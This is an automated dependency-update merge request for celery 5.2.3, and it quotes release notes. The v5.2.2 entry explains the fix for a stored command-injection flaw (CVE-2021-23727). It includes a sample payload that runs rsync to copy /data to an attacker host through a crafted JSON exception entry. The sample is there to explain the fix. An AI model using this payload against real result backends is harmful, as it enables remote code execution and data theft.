Update dependency celery to v5.2.3 (develop) - autoclosed
This MR contains the following updates:
Package | Type | Update | Change |
---|---|---|---|
celery (source, changelog) | dependencies | minor |
==5.1.2 -> ==5.2.3
|
Release Notes
celery/celery
v5.2.3
=====
:release-date: 2021-12-29 12:00 P.M UTC+6:00 :release-by: Asif Saif Uddin
- Allow redis >= 4.0.2.
- Upgrade minimum required pymongo version to 3.11.1.
- tested pypy3.8 beta (#6998).
- Split Signature.or into subclasses' or (#7135).
- Prevent duplication in event loop on Consumer restart.
- Restrict setuptools>=59.1.1,<59.7.0.
- Kombu bumped to v5.2.3
- py-amqp bumped to v5.0.9
- Some docs & CI improvements.
.. _version-5.2.2:
v5.2.2
=====
:release-date: 2021-12-26 16:30 P.M UTC+2:00 :release-by: Omer Katz
-
Various documentation fixes.
-
Fix CVE-2021-23727 (Stored Command Injection security vulnerability).
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as:
os.system("rsync /data attacker@192.168.56.100:~/data")
by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payloadrsync /data attacker@192.168.56.100:~/data
as the exception arguments like so:.. code-block:: python
{ "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker@192.168.56.100:~/data" }
According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the task's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
.. _version-5.2.1:
v5.2.1
=====
:release-date: 2021-11-16 8.55 P.M UTC+6:00 :release-by: Asif Saif Uddin
- Fix rstrip usage on bytes instance in ProxyLogger.
- Pass logfile to ExecStop in celery.service example systemd file.
- fix: reduce latency of AsyncResult.get under gevent (#7052)
- Limit redis version: <4.0.0.
- Bump min kombu version to 5.2.2.
- Change pytz>dev to a PEP 440 compliant pytz>0.dev.0.
- Remove dependency to case (#7077).
- fix: task expiration is timezone aware if needed (#7065).
- Initial testing of pypy-3.8 beta to CI.
- Docs, CI & tests cleanups.
.. _version-5.2.0:
v5.2.0
=====
:release-date: 2021-11-08 7.15 A.M UTC+6:00 :release-by: Asif Saif Uddin
- Prevent from subscribing to empty channels (#7040)
- fix register_task method.
- Fire task failure signal on final reject (#6980)
- Limit pymongo version: <3.12.1 (#7041)
- Bump min kombu version to 5.2.1
.. _version-5.2.0rc2:
Configuration
-
If you want to rebase/retry this MR, click this checkbox.
This MR has been generated by Renovate Bot.